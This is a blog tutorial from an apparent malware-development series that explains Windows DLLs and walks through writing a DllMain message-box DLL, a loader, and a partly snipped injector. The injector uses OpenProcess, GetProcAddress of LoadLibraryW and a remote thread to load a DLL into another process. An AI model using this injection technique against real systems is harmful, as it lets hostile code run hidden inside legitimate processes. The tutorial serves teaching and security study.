DLL Injection

Foreword

Welcome once again to the next step up from our simple process injection! I've gone ahead and rewritten the code from the original blog post because I've learned a lot since then. I'd also like it to improve the code shown in the video; which if you haven't seen, goes into depth about shellcode injection, and this technique. You can find it below:

I hope you enjoy the blog post, and the video - I also apologize for how long it took to redo this blog post. Life's crazy sometimes. Allow me to also copy and paste my initial disclaimer from my shellcode injection blog post.

Dynamic Link Libraries

Before we even begin to inject a Dynamic Link Library (DLL), we need to do our due diligence and understand what these things even are. If you're particularly advanced, click here to skip to the next section. A DLL is a collection of data or executable functions that a Windows application can use. DLLs enable several apps to share the same code rather than having each application contain all of the necessary code, one at a time.

DLLs are crucial because they let programmers modularize their work and share similar code among several apps. This can lower the size and complexity of the codebase while also saving time and effort when creating new software. Pretty much any process that you open is going to have some DLL that it uses/needs in order to work properly. Let's take notepad.exe for example. Seemingly an incredibly simple program, right?

Even for a seemingly simple program like Notepad, the number of modules it loads is a considerable amount. By the way, the tool I'm using to view this is Process Hacker 2:

Downloads - Process Hacker

With a short little synopsis of DLLs out of the way, let's make our own DLL! If you want to read more about DLLs, what they are, how they work, and why they're important, check out the links below (they'll also be in the "References" section):

Dynamic link library (DLL) - Windows ClientMicrosoftLearn

What exactly are DLL files, and how do they work?Stack Overflow

Creating Our First DLL

If you recall, when we first got started with malware development, more specifically, the prerequisites blog and video located below:

Getting Started With Malware DevelopmentCrow's Nest

We had created a message box program that when run, would spawn a humble message box like the following:

Now, what if we wanted to create a DLL that did the exact same thing as this? More specifically, could we create a DLL that just creates a message box as a quick little DLL "hello world"? Of course, we can! It's not that difficult either! There are some slight differences but, it's not too bad at all. Firstly, we need to talk about the entry point of a DLL (DllMain).

Just as our standard executable applications have a main entry point i.e., the main function. So too, do DLLs. The DllMain for all intents and purposes is a standard program's "main" entry point equivalent. We need to set this up properly otherwise our DLL isn't going to work. Before making our DLL, let's quickly start dissecting how a DLL works when a process loads one. The documentation itself provides a really great overview of what happens:

Whenever a process loads a DLL using the LoadLibrary and freed using the FreeLibrary function, the entry-point function for a DLL is called; in that entry-point function, there resides a switch-case which will be the "logic" of our DLL. So, if we were to coerce our target process to load our DLL, our code would be executed automatically! Let's start developing our message box DLL. Firstly, if you're doing this in Visual Studio, there's a bit of setup required to compile our DLL properly. You can also very easily compile it with a compiler of your choice if you don't want to use Visual Studio/MSVC.

Right-click on the project, and head to Properties. Once you get to the new window, you want to change the following settings:

We need to set our Configuration Type to Dynamic Library (.dll) since we're trying to create a DLL. While we're here, we might as well change the C++ language standard to C++20 although this is completely optional and won't matter for our DLL. With that done, let's add a source file and make sure to have the file extension set to .dll. Once we've added our source file, we can add in the Windows header and start codin':

We create a BOOL type function - but you might notice the presence of the WINAPI macro. What is that, you might ask? If we hover over the WINAPI macro, we can see that it just expands out to a __stdcall:

That's not of much help if you don't already know what "__stdcall" is in the first place, so let's quickly go over what that is just so we're all on the same page.

__stdcallMicrosoftLearn

As we can see, the __stdcall calling convention is used to call Win32 API functions. If we want to create/use a function that uses this calling convention, it'll require a function prototype for that aforementioned function. Another cool little thing about this calling convention is that parameters are pushed on the stack in reverse order (right to left):

You can read more about this and the other keywords down below:

Argument Passing and Naming ConventionsMicrosoftLearn

So, if you see certain functions during your time researching and they're defined like the following:

// Example of the __stdcall keyword
#define WINAPI __stdcall
// Example of the __stdcall keyword on function pointer
typedef BOOL (__stdcall *funcname_ptr)(void* arg1, const char* arg2, DWORD flags, ...);

You can lean back, flick your collar, and start smilin' smugly because you're now aware of what the __stdcall calling convention is, its little quirks, and how different macros like "WINAPI" are defined using them. Let's continue developing our DLL.

#include <Windows.h>

/* you can use the WINAPI macro if you want but since we learned about __stdcall, why not use it :> */
BOOL __stdcall DllMain(HINSTANCE hModule, ...) {

    return TRUE;

}

The first parameter of this function; "hinstDLL" is where we define a handle for the DLL module that we're about to create. The value of this is the base address of the DLL. You might be asking why we'd need to get a handle on modules in the first place. Well, let's take a look at an example that uses a function we'll be using later on, but momentarily shown here; albeit, a bit prematurely:

FARPROC GetProcAddress(
  [in] HMODULE hModule,
  [in] LPCSTR  lpProcName
);

Ah, yes. The ever-so-popular, GetProcAddress function. We'll touch upon it more when we get to the "Creating the Program" section, for now, all you need to know is that this function will retrieve the address of a function within a module. In order for GetProcAddress to do that, in order for it to seek the truths of the universe within a library, module, dll, whatever, it needs a handle to that aforementioned library, module, dll, or whatever. So, for situations like this, handles to modules are necessary.

The next parameter, fdwReason, is the "reason code that indicates why the DLL entry-point function is being called." Basically, it's a variable that tells us what's happened with the DLL, things like if it got loaded (attached) in a process/thread, or unloaded (detached) from the process/thread; and based on whatever happens, our DLL can do specific things in correspondence to the fdwReason. It can be one of the following values, as shown in the documentation:

So, with our code updated, we're currently here:

#include <Windows.h>

BOOL __stdcall DllMain(HINSTANCE hModule, DWORD dwReason, ...) {

    return TRUE;

}

The last parameter, lpvReserved is just a reserved parameter that we're required to supply to this function. Sometimes you might see some reserved arguments that need to be supplied to functions, that's perfectly normal and it's just something we have to include. If you're curious as to what they actually do and what it means, you can check the documentation:

That brings us to here:

#include <Windows.h>

BOOL __stdcall DllMain(HINSTANCE hModule, DWORD dwReason, LPVOID lpvReserved) {

    return TRUE;

}

With the DllMain entry-point function created, we can start getting to the meat and bones of the DLL; the switch cases. Our cases are going to depend entirely on the dwReason parameter.

We really only care about the DLL_PROCESS_ATTACH reason, however, you can (and should) experiment with the other cases as well; maybe even use them in conjunction with each other. If we look at the documentation for the DLL_PROCESS_ATTACH value once again, we can see:

We can see that this value, DLL_PROCESS_ATTACH, will be the value of our dwReason if our DLL gets loaded into the VAS of the process. So, in the case statement for this value, let's put in our "malicious" code, the incredibly dangerous MessageBox function that we're all familiar with by now:

#include <Windows.h>

BOOL __stdcall DllMain(HINSTANCE hModule, DWORD dwReason, LPVOID lpvReserved) {

    switch (dwReason) {

    case DLL_PROCESS_ATTACH:
        MessageBoxW(NULL, L"WHO GOES THERE", L"KAW KAW KAW", MB_ICONEXCLAMATION);
        break;
    }

    return TRUE;

}

That's pretty much it! Again, you're encouraged to interact with the other reason codes, but for our purposes, this is enough for now. After compiling, we can test our DLL using a program like rundll32. The syntax of the command is:

PS C:\Users\crow> rundll32 your.dll,yourFunction 

In this case, we want to run our DllMain function, so let's try that and see if we get a message box.

Nice, it's working perfectly! Note that after you press okay, rundll32 might give you an error, it's perfectly fine, you don't have to worry about it. If this is your first time making a DLL, congratulations! You can find the source code for the DLL we've created down below or in the GitHub repository for this blog post:

Loading Our DLL

We've created our DLL. Let's now discuss the process of loading it from another program. I think it's necessary to figure this out because otherwise, we're just making malware without understanding what's going on in the background. If we recall, there were some mentions of the LoadLibrary function. This will be the function we use to... well, load our library. If we look at the documentation of this function, we'll see the following:

We see that this function will load a module into the address space of the calling process, and we know what happens when a DLL gets loaded by a process, remember? The entry-point function of the said DLL will automatically get run.

LoadLibrary is also of the HMODULE type because it will return a handle to the module (if it's able to get one). It takes in one (1) argument - lpLibFileName, that being the name of the library itself.

For this argument, we will submit the entire path of our DLL. However, as seen from the documentation, there are other searching methods (and considerations) you can take note of, like specifying a relative path:

Also, consider the little note about using backslashes (\) when specifying a path and not forward slashes (/). With this in mind, let's make another program that'll load our DLL, and once it does, it should run our message box.

#include <Windows.h>
#include <stdio.h>

#define okay(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define warn(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)
#define info(msg, ...) printf("[i] " msg "\n", ##__VA_ARGS__)

int main(void) {

	HMODULE hCrowDLL = NULL;
	wchar_t dllPath[MAX_PATH] = L"C:\\path\\to\\crow.dll";

	info("trying to get a handle to %S", dllPath);
	
	hCrowDLL = LoadLibraryW(dllPath);

	if (hCrowDLL == NULL) {
		warn("couldn't get a handle to crow.dll, error: 0x%lx", GetLastError());
		return EXIT_FAILURE;
	}

	okay("got a handle to crow.dll!");
	info("---0x%p", hCrowDLL);

	info("freeing the module");
	FreeLibrary(hCrowDLL);
	okay("finished, press <enter> to exit");
	getchar();

	return EXIT_SUCCESS;

}

This program starts off by defining (and initializing) a variable of the HMODULE type called hCrowDLL. This will hold the base address of our DLL and it's the handle we get on our module. Then, we try to load the library using the LoadLibraryW function into the address space of the space.

Since we know that LoadLibrary returns NULL if it errors out, we can make a quick little check to see if we were able to get a handle on the module or not. If not, we'll print out the system error codes given to us by GetLastError function. After verifying that we have a valid handle on our module, we can print the address of the module. Finally, we can unload the DLL using the FreeLibrary function:

If we compile this program and run it, we can see that the program will load our DLL with LoadLibrary and a message box will pop up, as planned!

It works! The only thing that kind of sucks is that our output will only be shown after we press okay, which is fine, this won't be the case when we inject it. After pressing okay, we can see the following output:

Awesome! We now have a much deeper understanding of how all of this loading stuff works, which is going to equip us adequately for the next section. Speaking of which, let's finally begin making our injection program.

Creating the Program

A lot of the code, aside from the newly covered macros, will be extremely identical to the code from the shellcode injection blog. I'll program this out, and then we'll cover what's different about this when we get there.

#include <Windows.h>
#include <stdio.h>

#define okay(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define warn(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)
#define info(msg, ...) printf("[i] " msg "\n", ##__VA_ARGS__)

int main(int argc, char* argv[]) {

	/*------[SETUP SOME VARIABLES]------*/
	DWORD       TID               = NULL;
	DWORD       PID               = NULL;
	LPVOID      rBuffer           = NULL;
	HANDLE      hProcess          = NULL;
	HANDLE      hThread           = NULL;
	HMODULE     hKernel32         = NULL;
	wchar_t     dllPath[MAX_PATH] = L"C:\\path\\to\\crow.dll";
	size_t      pathSize          = sizeof(dllPath);
	size_t      bytesWritten      = 0;

	/*------[GET HANDLE TO PROCESS]------*/
	if (argc < 2) {
		warn("usage: %s <PID>", argv[0]);
		return EXIT_FAILURE;
	}

	PID = atoi(argv[1]);
	info("trying to get a handle to the process (%ld)", PID);
	hProcess = OpenProcess((PROCESS_VM_OPERATION | PROCESS_VM_WRITE), FALSE, PID);

	if (hProcess == NULL) {
		warn("unable to get a handle to the process (%ld), error: 0x%lx", PID, GetLastError());
		return EXIT_FAILURE;
	}

	okay("got a handle to the process!");
	info("\\___[ hProcess\n\t\\_0x%p]\n", hProcess);	

	/*------[GET HANDLE TO KERNEL32]------*/
(snip ...)
	
/* thank you @5pider for introducing me to this nifty lil cleanup! ily <3  */
CLEANUP:

	if (hThread) {
		info("closing handle to thread");
		CloseHandle(hThread);
	}
	
	if (hProcess) {
		info("closing handle to process");
		CloseHandle(hProcess);
	}
	
	okay("finished with house keeping, see you next time!");
	return EXIT_SUCCESS;

}

So, we do our usual thing, we declare and initialize some variables that we'll be using in our program. We check to see if the program's been supplied with a PID, and if so, we'll try to open a handle to the process for which the PID belongs to. After a valid handle has been obtained, we'll print it out. A new thing you might see, from my previous code, is the edition of this CLEANUP label. In the eternal quest to make my code better and better, I was made aware of "goto" for error handling and simple cleanup by my incredible friend @5pider. It'll just make our code easier to manage and provide better readability; especially because we're error-handling pretty much every function that we use. Thanks, homie ❤️

Currently, we're at the "get a handle to Kernel32" portion of the program. We've already experimented with getting handles to modules in "Loading Our DLL", it's the same idea here except the DLL we're trying to get a handle on is Kernel32.dll. Another difference is that we're going to be using the GetModuleHandle function, which we'll cover in a moment. First, let's talk about why we chose Kernel32.dll? Why this DLL specifically? Well, if we take a look at an incredible resource like the one below:

KERNEL32 Functions

We can see just how many functions there are in this DLL. But, that's not all. If we look for some functions that we've already been using, like CreateRemoteThread, OpenProcess, VirtualAlloc, etc., we can see that all of them are in this library:

The function we're interested in, for the purposes of our DLL Injection, is the LoadLibrary function. As expected, it's here as well:

So, if we're able to get a handle to Kernel32, we can then use a function like GetProcAddress, to get the address of the LoadLibrary function within Kernel32 so that we can use it for our exploit. Let's continue developing:

(snip...)

	/*------[GET HANDLE TO KERNEL32]------*/
	info("getting handle to Kernel32.dll");
	hKernel32 = GetModuleHandleW(...)
	
(snip...)

If we take a look at the syntax for the GetModuleHandleW function, we'll see that it returns a handle to our specified module. It takes in one (1) argument, lpModuleName, which is just the name of the module we want to get a handle on:

Let's supply in the name of the module, Kernel32 to this function, and then check to see if a valid handle to the module has been returned or not. If it has, we'll print out the value of the handle (which is just going to be the base address of the Kernel32 DLL).

(snip...)

	/*------[GET HANDLE TO KERNEL32]------*/
	info("getting handle to Kernel32.dll");
	hKernel32 = GetModuleHandleW(L"kernel32");

	if (hKernel32 == NULL) {
		warn("failed to get a handle to Kernel32.dll, error: 0x%lx", GetLastError());
		return EXIT_FAILURE;
	}

	okay("got a handle to Kernel32.dll");
	info("\\___[ hKernel32\n\t\\_0x%p]\n", hKernel32);

(snip...)

Nice, if all goes going to plan, we can extract out addresses of functions from within this library! How could we do that, you might ask? With the use of the aptly-named GetProcAddress function.

This function will get the address of an exported function (also known as a procedure) or variable from the specified DLL. The first parameter, hModule, is the handle to the module of the DLL that we'd like to get the function address from, in this case, it's the handle to Kernel32 which we've got tucked away within our hKernel32 variable:

(snip ...)

	/*------[GET ADDR OF LOADLIBRARY]------*/
	info("getting address of LoadLibraryW()");
	GetProcAddress(hKernel32, ...);
	
(snip ...)

The next parameter is the procedure name that we wish to get the address of, we want LoadLibraryW from Kernel32, so, let's supply that.

(snip ...)

	/*------[GET ADDR OF LOADLIBRARY]------*/
	info("getting address of LoadLibraryW()");
	GetProcAddress(hKernel32, L"LoadLibraryW");
	
(snip ...)

Now, this function still isn't complete. We've touched upon this in the shellcode injection blog, specifically, in the "Creating a Thread" section but, we need to typecast this to LPTHREAD_START_ROUTINE because we want the address of the function returned to be the starting point for the thread that we're going to eventually create. So, let's set that up right now:

(snip ...)

	/*------[GET ADDR OF LOADLIBRARY]------*/
	info("getting address of LoadLibraryW()");
	LPTHREAD_START_ROUTINE kawLoadLibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, "LoadLibraryW");
	okay("got address of LoadLibraryW()");
	info("\\___[ LoadLibraryW\n\t\\_0x%p]\n", kawLoadLibrary);

(snip ...)

I won't cover it much more here since you should know this from the previous blog post. If you don't, you can head over here to read more about it:

Shellcode InjectionCrow's Nest

The rest of the code is going to be pretty much the same as the one from the blog post above. You can find the finished code embedded below or in the GitHub repository for this entire series:

Performing the Injection

After finally compiling our program, we can now test it out by injecting it against a target process.

Incredible! It loads our DLL and we can see our payload gets executed! Another thing you'll note is that after we press on OK, the thread finishes and our program exits, all thanks to the WaitForSingleObject function!

Awesome! We've finally injected a DLL into our target process. Let's cover some common pitfalls and caveats to injecting our DLLs in this way.

Common Pitfalls

One thing you'll notice is that if you try to inject the same process multiple times, your DLL won't be loaded again after the first time. An incredible blog post by Brad Antoniewicz mentions this:

"... Another slightly annoying caveat is that if a DLL has already been loaded once with LoadLibraryA(), it will not execute it. You can work around this issue but it's more code." - Brad Antoniewicz, Open Security Research Blog

Viewing the Memory

Let's appreciate all the 1337pwning we've been doing so far. However, it would also be nice to look at what's happening in the process memory when we exploit our target process. We'll see a lot of cool information here. After injecting into our target mspaint process, we can view all the modules that the process has loaded; like we did with the Notepad example a while ago. In the Modules tab:

Furthermore, if we look at the Memory tab, we can see all the references to our DLL here:

Another thing we can do is click on the Strings tab and filter (contains (case-insensitive)), and look for the lpText and lpThread parameters of our MessageBoxW function. What we'll find, is really cool:

If we go back to the Module tab, and double-click on our DLL, we can see some telling information about the library itself:

From here, we can see some things like the fact that it's UNVERIFIED, how it has High entropy, as well as some other information about the different sections of this DLL. In the Imports section of this new window, we can also see the presence of a bunch of functions, including our MessageBoxW "payload":

References

What exactly are DLL files, and how do they work?Stack Overflow

Dynamic link library (DLL) - Windows ClientMicrosoftLearn

DLL InjectionRed Teaming Experiments

Classic DLL injection into the process. Simple C++ malware.cocomelonc